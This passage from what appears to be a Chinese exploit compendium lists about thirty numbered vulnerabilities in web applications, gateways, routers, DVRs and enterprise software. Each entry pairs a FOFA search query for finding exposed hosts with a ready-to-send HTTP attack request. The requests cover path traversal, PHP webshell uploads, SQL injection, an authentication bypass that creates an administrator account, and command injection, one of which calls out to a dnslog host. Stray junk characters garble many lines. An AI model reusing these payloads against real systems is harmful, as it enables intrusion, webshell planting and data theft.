  }, r% m/ A" z+ R第二步，读取/etc/passwd文件
/ P+ R* N1 s# W  x) lGET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
1 n+ t: |( b4 L2 A+ r+ [7 N& IAccept-Encoding: gzip, deflate
Connection: close
uuid: 85f60018-a654-4410-a783-f81cbd5000b9

) [/ u( u( I4 y9 o$ r
130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
( X8 }7 a' w" W. lHost: 127.0.0.1
! ?, ?% X7 H  Q+ i; ?. NAccept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
" s7 q' \' z* r! {- n: q' fUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
  i9 I2 @  A+ E  qContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
$ k- T4 a0 ?# R5 s* m9 D  \1 }; v- WCookie: user_name=1; user_id=3
Connection: close
# m0 _6 b) y' o( |' c! N
------WebKitFormBoundary3OCVBiwBVsNuB2kR
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

: b3 r9 k, B, R1 X<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
8 s# [6 S3 X" B3 h, R. `! f# w
& _6 E7 Z; U% K4 x1 i) c6 F9 [& h7 |6 r
131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
9 C+ B# _, ^! ~* j5 Z
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
% @0 E3 O7 _5 U1 DCVE-2024-27198
% S- _6 {' X& Y9 t3 X( X- x4 IFOFA：body="Log in to TeamCity"
# ~# r9 r3 ?5 r( y$ `POST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
& @* |' U; l6 rUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate

{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
: O2 A/ D7 c0 c( N$ [& P$ z

CVE-2024-27199
/res/../admin/diagnostic.jsp
/.well-known/acme-challenge/../../admin/diagnostic.jsp
/update/../admin/diagnostic.jsp
3 A! j$ v4 t2 J

CVE-2024-27198-RCE.py
4 w6 ~! p2 h+ a- R" `0 c
4 l% c5 \6 {) ^8 f, H9 n133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx

) G4 S1 E9 F: j/ l8 c' b- l/ K------WebKitFormBoundaryFQqYtrIWb8iBxUCx
Content-Disposition: form-data; name="file"; filename="rce.php"
5 I- T7 W2 k. ]) W& MContent-Type: application/octet-stream
4 B& j3 I- @6 W4 s7 K/ q
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--



134. 网康NS-ASG应用安全网关index.php sql注入
# h- N% X4 ]5 _! o/ PCVE-2024-2330
: V" U7 h# z, jNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
$ z7 U9 E% h! PHost: x.x.x.x
8 b6 Y$ y9 G& X; R& }Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. T& c: X' s4 n% R8 T/ dAccept-Encoding: gzip, deflate
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
; z. K' V3 k; {$ m/ f& z! ESec-Fetch-Site: same-origin
* V: J* e% y: D! KTe: trailers
" x, a) O0 X, wConnection: close
$ Y; \0 A" J# b' z0 D, eContent-Type: application/x-www-form-urlencoded
0 J3 m4 f! I$ [  C4 Q" V- SContent-Length: 263
) ]) `/ o9 i4 K8 d
jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}

# B/ R+ I% k. O8 i9 b' g6 u
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
- T4 ?8 P. C& m5 ]Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
7 k  X; m  I' p# i6 x6 BGET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
3 g" i  L* z3 M/ W" F) t; G( q  WHost: x.x.x.x
) {1 ~6 s' a, N$ ~- n# j  EUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
" V* W+ M+ N5 iAccept-Encoding: gzip, deflate
( Q9 i, Q: R8 N/ X- L! O/ wAccept-Language: zh-CN,zh;q=0.9
Connection: close

; @+ b! @3 W* P+ F; G+ k8 c4 b
136. NextChat cors SSRF
CVE-2023-49785
3 s# {2 `& ^$ `9 Y+ [# w( YFOFA：title="NextChat"
2 V7 F2 F* K" a2 d6 V1 z, kGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
$ ~" _6 l% y; q" y0 B  b) \Host: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
% Y/ S# z# w) P/ U; NConnection: close
& A+ R  N7 f$ l6 @8 LAccept: */*
Accept-Language: en
6 S' u4 x. l- |: a; ~) n( OAccept-Encoding: gzip
8 d5 ?4 t: b; ]/ N  [' K
; m9 i" j) d. @, ?* h3 R) A; }
4 Y7 ?) U! z% H5 r1 A* a137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
6 b3 t* \8 s2 kGET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
1 k1 a# S- k5 f9 Q/ R9 [6 BHost: x.x.x.x
# V) W4 X2 o' bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' x$ d9 P- l3 v; ^' h% ZAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 j, b* j  |' CAccept-Encoding: gzip, deflate, br
" L' W4 Q: a  t/ i$ QConnection: close
5 V/ g/ I1 j. w2 f: U/ v3 fCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
Upgrade-Insecure-Requests: 1
, f" V( `' V0 ]2 R! F6 e. v# `

2 @1 N( y3 b8 ]9 g9 b138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
CVE-2024-2621
1 m' b% x* x4 L+ V$ p/ aFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
- J7 Z! Q7 {; H% ?$ M" Z1 {5 `1 THost: x.x.x.x
6 |' r, q; y+ b8 S7 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
0 O) z  _: ]$ s1 W. oAccept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
  n* g* X2 u! M3 P# u7 k

. V5 }% N. P& m2 p7 C! d139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
/ E6 ~+ A+ B  \6 }9 QFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
# o3 Y3 E* a& |0 V5 |$ ZAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
  b" g5 y; u- x' i# J" u, U5 x' m! ]) xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
1 e# h- ]9 @, K4 r3 B, ?6 C* LAccept-Encoding: gzip, deflate, br
. A. `1 N* R5 G$ I* pConnection: close
1 K& z6 X- `% R, G) [Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1
" U6 W7 `; b- s3 g: y6 c% G4 n  |
# f5 q( J" y, c. D5 |) \
! r+ P* \1 R4 {* `: d5 e* q140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
3 X% V( J4 q* ^; A8 {6 GCVE-2024-2566
( M: b8 a9 C7 C% T( I' KFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
2 R2 f' B8 Y. \  qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
8 Q4 U4 ?) M4 K) WAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; J( t: [, Z. M+ mAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 E" P4 Z7 `+ C0 C9 c% JAccept-Encoding: gzip, deflate, br
Connection: close
) X- @6 }+ c5 ?. S# k% [1 ~/ i& [, p0 ICookie: authcode=h8g9
Upgrade-Insecure-Requests: 1
& N: X8 l; U: y: ?

6 R5 i! A7 x+ v141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
6 A+ ^6 p3 N, UFOFA：body="指挥调度管理平台"
POST /app/ext/ajax_users.php HTTP/1.1
1 l$ x2 a' t9 K" Q* yHost: your-ip
8 y1 d" r  K: uUser-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
* l: \- x9 y7 o9 ^6 Y

dep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -


, X( Y5 b5 u- h: ?, y, K. w- g142. CMSV6车辆监控平台系统中存在弱密码
! I/ T6 f# i: j/ ]  W6 aCVE-2024-29666
& A1 {% L/ T* [8 m7 h1 C1 JFOFA：body="/808gps/"
admin/admin
# K. v5 [. q- [143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
% X. X9 T! ]5 nPAYLOAD

144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
  [% @; P# E6 L2 ^- e9 r, IGET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
% x6 i6 R+ K7 XHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

' Y% B& M) M' z
7 x  Q# k( w. q# J9 P1 L2 u. ]145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
) [# }. M+ {$ MFOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
* f, B# j) ~: a* iConnection: close
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
. ], W9 s8 k9 r7 S( `Accept-Encoding: gzip
1 A. H% K% r% \) {. c3 [
  V- t' z3 E& O5 d6 S4 F! p
146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
1 ^" n6 x( @1 H; NFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
, b& w- \) l  z- r2 @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
- w+ A9 c$ M4 XAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
; d. a( B1 \) eConnection: close


- p& V- r$ ]* ^/ ~147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
GET /webeditor/../../../windows/win.ini HTTP/1.1
0 C5 t+ q! @  |0 o: BHost: 127.0.0.1:81
Cache-Control: max-age=0
0 V! u3 j- `, ~+ n) tConnection: close

' l4 l$ T* U6 i: N# C( Y
148. CrushFTP 认证绕过模板注入
CVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
% N% [3 @$ D8 `2 A
/ H1 N; ^9 y4 d; Z5 a& g0 {149. AJ-Report开源数据大屏存在远程命令执行
. D6 D2 c+ k' DFOFA：title="AJ-Report"
# e4 a( y7 z- \# Y9 r
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
& ~. R# k3 S# t1 Z" PHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
, w/ `7 C. R8 j3 Y& l* ~, m8 ]Accept-Language: zh-CN,zh;q=0.9
0 V8 O$ K( f6 y7 r' E4 g3 PContent-Type: application/json;charset=UTF-8
Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

150. AJ-Report 1.4.0 认证绕过与远程代码执行
, n- e8 P0 c" v( d. [8 G  T$ tFOFA：title="AJ-Report"
) r5 o8 e, B* d+ u; j+ {: \POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
1 E+ N$ b2 c8 ?Host: x.x.x.x
7 _% ~  M0 M& e4 B* v5 bUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
, `+ Z! v* O7 X# r+ eAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 U$ T0 a7 M1 q$ l; C" z; @Accept-Encoding: gzip, deflate, br
  P* G$ N/ d' u, O" }* S3 K; [$ uAccept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
Content-Length: 339
8 m: O, m: R% y4 T9 D
( B" D, t: _8 h4 g{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
; U4 z4 d# C5 H4 S

& ?4 C' @2 G3 s+ T' d1 }% ~151. AJ-Report 1.4.1 pageList sql注入
FOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
3 y1 m, j1 _; F( K& e1 ?* OHost: x.x.x.x
$ V0 o, ~( v  b. T1 G/ a- bUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
# G, X1 o5 c1 m0 B5 t  J% F; UAccept-Encoding: gzip
% q# M6 \# e" M
  g/ S6 m* A8 b! I
152. Progress Kemp LoadMaster 远程命令执行
CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
; [6 i' t" [" A8 t( T% CLoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
, f& m- e4 r3 S- S! Y. ~; \FOFA：body="LoadMaster"
JztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
, i; B7 `% [4 E$ ~* _5 T% TGET /access/set?param=enableapi&value=1 HTTP/1.1
0 ?/ h1 z: @2 k3 t: h* lHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
( y5 U7 K6 B1 k; Y8 k  r* WConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
, _' Y* r5 Y$ O" @Accept-Encoding: gzip
& L9 t2 z4 O/ R; S$ i( n

153. gradio任意文件读取
- E4 [7 A6 v, r0 s# V* L) y. BCVE-2024-1561FOFA：body="__gradio_mode__"
. h( L  q# B% \, T7 ?2 P6 \' u第一步，请求/config文件获取componets的id
* y0 R9 G) [* R0 k& m( Nhttp://x.x.x.x/config
$ y& L5 E# `( Q  Q7 O

8 i4 s' L7 r. ~; ~% _第二步，将/etc/passwd的内容写入到一个临时文件
POST /component_server HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
3 d' z4 J$ A/ I9 mConnection: close
7 ]; w: U3 [5 h8 x- V" p+ s: @8 KContent-Length: 115
+ @0 @5 R( R: R$ b$ |5 SContent-Type: application/json
$ b+ z. w; ^, W  X$ Z" fAccept-Encoding: gzip

% D  g0 R, g2 i3 E9 I! M; x$ s{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


  k% P( a5 s& l& \! B7 I第三步访问
, }- m% [1 P+ N: X+ e$ A/ l. Jhttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd


2 W; v+ e5 F( i; q154. 天维尔消防救援作战调度平台 SQL注入
  V$ g0 v5 I% t, ^! ~# _CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
( a1 Q1 d. [8 ZPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
" f$ i, x9 Q  X/ OHost: x.x.x.x
Content-Length: 106
Cache-Control: max-age=0
6 t2 v2 K: Z; X5 dUpgrade-Insecure-Requests: 1
* g, I# \# W" e- F  \8 KOrigin: http://x.x.x.x
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
$ M, K! O! v* B$ u( BAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
. L& ^& P7 c/ F7 t- D. Y) N! y* _Accept-Encoding: gzip, deflate
; t1 @9 y! W' d0 J' f2 C4 ]Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

/ o3 w- L' {3 K' G$ X' L{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


; B! T0 X4 l$ C5 i4 _155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
6 A; D8 q% r+ H/ g! F, c# iUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
. G0 p' w$ ]2 T; v7 N* D' C/ ZX-Requested-With: XMLHttpRequest

-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
& S  H# q& s# Q5 A
<?php phpinfo();unlink(__FILE__);?>
; T. h  X, s7 h- O7 q+ I* F( m-----------------------------qttl7vemrsold314zg0f--

3 I; i! P; b5 p0 q
访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php
! ]; B: |4 T9 ]' H3 {
156. TBK DVR-4104/DVR-4216 操作系统命令注入
0 f! {6 K+ Y5 S) {. |CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
8 r9 E3 H* p7 `; x' V8 @/ H·TBK DVR-4216
  E1 c- `! X9 z; r( Mcurl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"

- C* T- V) @0 [/ G: V
4 B  ]: J, J: ^- jPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
) ?8 g" Q1 Q" H" \9 wUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
+ p( f" p0 n6 z4 _( V7 uCookie: uid=1
Accept-Encoding: gzip
( F" O) Z* U6 L6 y! B' h
) [" B4 q4 @4 ^
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
POST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
* \7 c. ^" M& c# z6 w9 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
Content-Length: 709
( q7 X7 n0 s$ f% H$ ^+ DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
. b5 t& _- h9 Z8 u! U& ]% `- @Accept-Language: zh-CN,zh;q=0.9
0 o- e2 C/ c! Y: @Cache-Control: max-age=0
Connection: close
2 E+ }+ w! k1 O# A) yContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1
7 d3 f  a' E4 E
. i+ |; k% \3 X  a, Q2 }------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
  i! ]( n$ a7 t& G& J, u! {Content-Type: application/octet-stream
8 N0 I5 X& L) P% g
8 x5 x8 b/ B( \9 knyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
8 B, m# m) h( R2 `! HContent-Disposition: form-data; name="key"

null
6 ^, h4 p1 y' h0 j+ m------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
1 `) V) q6 i% g. S
4 J1 g5 G/ T2 p+ e/ \! A$ onull
------WebKitFormBoundary1imovELzPsfzp5dN
5 K" q; u5 ]  ZContent-Disposition: form-data; name="field"

null
------WebKitFormBoundary1imovELzPsfzp5dN
, V. R& u' @0 H! ^& y1 ^Content-Disposition: form-data; name="filetitile"
; m# q8 h' B9 S% S; d: p: d6 W
8 v* Z$ _1 Q( i+ t. Y* qnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

% p9 x4 O. S/ Z2 V$ cnull
7 @) u! Y0 ~/ j6 ?  j------WebKitFormBoundary1imovELzPsfzp5dN--
, G5 c- \1 X$ x  ]2 A( V( m
& L/ u; Z; r+ b
& [" @! t% A, v' c0 ~( Shttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
2 z3 q; _  B' G  OCVE-2024-32640
FOFA："Generator: Masa CMS"
POST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
3 S9 a3 N0 v  }, t9 x; lHost: {{Hostname}}
& E+ o5 {' P' A4 E0 D- wContent-Type: application/x-www-form-urlencoded

object=displayregion&contenthistid=x\'&previewid=1
. R7 [( O) W% ^

7 G6 Z5 }7 E% D5 H& W159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
FOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
( c/ F- v& d( C! Z+ P; ]POST /webservices/WebJobUpload.asmx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
6 u3 |! z( c7 H  R* a6 w% M* P5 L$ |Accept-Encoding: gzip, deflate
Connection: close
Content-Type: text/xml; charset=utf-8
Soapaction: "http://rainier/jobUpload"
/ F4 c+ l+ W! J# f
* K% d- L9 x  ]<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<jobUpload xmlns="http://rainier">
<vcode>1</vcode>
<subFolder></subFolder>
8 M; x: E% p" M1 t" A1 N8 j5 J<fileName>abcrce.asmx</fileName>
